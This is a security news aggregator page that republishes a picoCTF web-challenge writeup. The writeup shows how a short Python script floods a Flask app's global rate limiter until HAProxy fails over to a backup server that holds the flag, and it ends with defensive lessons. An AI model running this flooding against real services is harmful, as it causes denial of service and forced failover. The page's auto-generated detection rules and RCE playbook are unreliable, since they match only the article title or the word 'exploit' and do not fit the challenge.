Zum Hauptinhalt springen
Echtzeit-Radar & Feeds
Alle RSS Feeds ➔
👥 Community & Social
Windows Tipps & SecurityGrafikkarte vor Überhitzung schützen: So geht’s(25.09.2026 um 08:00 Uhr)
••••••••••
Windows Tipps & SecurityGrafikkarte vor Überhitzung schützen: So geht’s(25.09.2026 um 08:00 Uhr)
••••••••••
Intelligence View
⚡ tsecurity.de Intelligence

PicoCTF Web Challenge Writeup: Failure Failure

Overview We're given two files — an HAProxy load balancer config and a Flask app. The goal is to retrieve the flag hidden on the backup server. Category: Web Exploitation | Difficulty: Medium | Tools: Python, requests, HAProxy config a…

0
↗ Quelle (dev.to)
Reagiere als Erste:r — dein Feedback zählt!




Overview



We're given two files — an HAProxy load balancer config and a Flask app. The goal is to retrieve the flag hidden on the backup server.



Category: Web Exploitation | Difficulty: Medium | Tools: Python, requests, HAProxy config analysis









Step 1 — Analyzing the HAProxy Config






backend servers
option httpchk GET /
http-check expect status 200
server s1 *:8000 check inter 2s fall 2 rise 3
server s2 *:9000 check backup inter 2s fall 2 rise 3






Key observations:





  • s1 (port 8000) is the primary server


  • s2 (port 9000) is the backup server — only used when s1 is down

  • Health check runs GET / every 2 seconds and expects HTTP 200


  • fall 2 means s1 is marked down after 2 consecutive failed health checks


  • rise 3 means s1 needs 3 successful checks to come back online









Step 2 — Analyzing the Flask App






if os.getenv("IS_BACKUP") == "yes":
flag = os.getenv("FLAG")
else:
flag = "No flag in this service"






The flag is only available on the backup server where IS_BACKUP=yes.



The real vulnerability is in the rate limiter:




limiter = Limiter(
key_func=global_rate_limit_key, # global limit, not per-IP!
default_limits=["300 per minute"]
)









@app.errorhandler(429)
def ratelimit_exceeded(e):
return "Service Unavailable: Rate limit exceeded", 503






When the rate limit is exceeded, the server returns 503 instead of 200 — which fails the HAProxy health check.









Step 3 — The Attack Plan



The chain of events we need to trigger:




  1. Flood the primary server (s1) with 300+ requests per minute

  2. s1 starts returning 503 due to rate limiting

  3. HAProxy health check sees 503 (not 200) → marks s1 as down after 2 failures

  4. HAProxy switches all traffic to the backup server s2

  5. s2 has IS_BACKUP=yes → returns the flag









Step 4 — Exploit Script






import requests
from concurrent.futures import ThreadPoolExecutor

url = "http://CHALLENGE_URL/"

def send():
try:
return requests.get(url, timeout=5)
except:
pass

# Flood s1 to trigger rate limiting
print("[*] Flooding primary server...")
with ThreadPoolExecutor(max_workers=50) as ex:
futures = [ex.submit(send) for _ in range(400)]

# Now fetch — should hit backup server
print("[*] Fetching flag from backup server...")
resp = requests.get(url)
print(resp.text)












Step 5 — Getting the Flag



After flooding the primary server, the next request routes to the backup:




picoCTF{...flag...}






Flag captured!









Vulnerability Summary



1. Global rate limiter — Shared across all users, not per-IP. Any single user can exhaust the limit for everyone, triggering system-level side effects.



2. HAProxy health check fails on 503 — An attacker can deliberately trigger 503s to force failover to the backup server.



3. Flag on backup server — Placing sensitive data on a "backup" assuming it won't be reached is a false assumption. All servers in a cluster must be treated as equally reachable.









Lessons Learned





  • Never put sensitive data exclusively on a backup server. The assumption that it won't be reached under normal conditions is exactly what an attacker will exploit.


  • Use per-IP rate limiting. Global limits let a single user starve everyone else and trigger system-level side effects like this failover.


  • Health check endpoints should be rate-limit exempt. Mixing health checks with user-facing rate limiting creates an unintended control surface for attackers.


  • All servers in a cluster are attack surface. Design every node as if it could be directly targeted.






Thanks for reading! If you found this helpful, consider following for more CTF writeups.

1. Sofort-Triage & Abwehrmaßnahmen

SOC Incident Playbook: Remote Code Execution (RCE) Defense
Syntax validiert (0 Fehler)
title: Detect Exploitation - PicoCTF Web Challenge Writeup: Failure Failure
id: f2ec98a5-7c35-4029-bea5-a1e900ef0f81
status: experimental
description: Automatisch generierte SIEM-Erkennungsregel basierend auf CTI Intelligence
references:
  - https://tsecurity.de/
author: iShareStuff CTI Automated Detection Engine
date: 2026-09-27
logsource:
  category: network_connection
  product: any
detection:
  selection:
      CommandLine|contains:
        - 'exploit'
  condition: selection
falsepositives:
  - Legitime administrative Zugriffe oder Penetrationstests
level: high
tags:
  - attack.initial_access
Syntax validiert (0 Fehler)
rule CTI_Threat_Indicator {
    meta:
        author = "iShareStuff CTI Automated Detection Engine"
        date = "2026-09-27"
        description = "YARA Signature for "
    strings:
        $str = "PicoCTF Web Challenge Writeup:" ascii wide
    condition:
        any of them
}
Syntax validiert (0 Fehler)
index=security sourcetype IN ("cisco:asa", "pan:traffic", "zeek_conn", "suricata", "WinEventLog:Security")
("PicoCTF Web Challenge Writeup Failure Fa")
| stats count earliest(_time) as first_seen latest(_time) as last_seen by src_ip, dest_ip, dest_host, signature
| eval first_seen=strftime(first_seen, "%Y-%m-%d %H:%M:%S"), last_seen=strftime(last_seen, "%Y-%m-%d %H:%M:%S")
| sort - count
Syntax validiert (0 Fehler)
message: "*PicoCTF Web Challenge Writeup Failure Fa*"
Syntax validiert (0 Fehler)
CommonSecurityLog
| where Message has "PicoCTF Web Challenge Writeup Failure Fa"
| summarize EventCount = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by SourceIP, DestinationIP, DestinationPort, Activity
| extend DetectionRule = "iShareStuff-CTI-Compiled"
| sort by EventCount desc

2. Cyber Threat Intelligence & Forensik

🎯
MITRE ATT&CK Matrix Navigator 14 Taktiken
Reconnaissance
-
Resource Development
-
Initial Access
Execution
Persistence
-
Privilege Escalation
Defense Evasion
Credential Access
-
Discovery
-
Lateral Movement
-
Collection
-
Command and Control
Exfiltration
-
Impact
tsecurity.de Cognitive Threat RAG
Fokus-Vektor:

Analyse für identifizierte Bedrohung auf Basis von Live-CTI (ENISA EUVD): CVSS 0.0 · EPSS 0.0% · CISA KEV: nein. Handlungsableitung aus den verlinkten Hersteller-Quellen.

🛡️ Angriffsfläche & Exposure

Netzwerk/Remote-Zugriff ohne Vorauthentifizierung möglich.

⚡ Empfohlene Sofortmaßnahmen
  • 1. Perimeter-Inspektion: Relevante Portfreigaben und exponierte Endpunkte unverzüglich scannen.
  • 2. Patch-Applikation: Hersteller-Hotfix einspielen oder betroffene Daemons in isolierte DMZ-Segmente überführen.
  • 3. Telemetrie & EDR-Alerts: Prozessaufrufe und Child-Processes auf anomale Shell-Spawns überwachen.
Ähnliche Beiträge
🔍 Verwandte News

Auch interessante Nachrichten PicoCTF Web Challenge Writeup: Failure Failure

Thematisch verwandte Begriffe: PicoCTF, Challenge, Writeup, Failure · 6 Treffer

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

💬 Kommentare werden geladen…
Zum Aktualisieren ziehen
ZERO-DAY CVE-2026-100620 | Capgo CLI (npm package @capgo/cli) through 7.98.2 is affected by an ove…
Advisory →
tsecurity.de Icon
Offline-Lesen, Eilmeldungen & 0ms Ladezeit

Installiere tsecurity.de direkt auf deinen Home-Bildschirm für das ultimative Vollbild-Magazinerlebnis ohne Browser-Leisten.

Nächster Beitrag